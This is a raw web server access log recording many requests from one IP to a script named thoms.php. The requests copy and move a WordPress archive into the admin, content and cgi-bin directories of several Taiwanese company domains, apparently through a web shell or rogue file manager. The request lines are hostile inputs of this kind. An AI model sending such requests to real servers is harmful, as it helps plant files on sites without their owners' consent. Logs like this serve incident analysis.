45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 13271 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known HTTP/1.1" 200 12584 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content HTTP/1.1" 200 13855 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade HTTP/1.1" 200 13782 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 200 13409 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13532 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13526 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17356 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 12586 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 14169 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17356 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13262 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:05 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59201 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13421 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13623 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 14351 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 13538 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 13279 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17510 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 59198 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 13426 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17510 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2F.well-known HTTP/1.1" 200 11412 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 200 12555 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17521 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
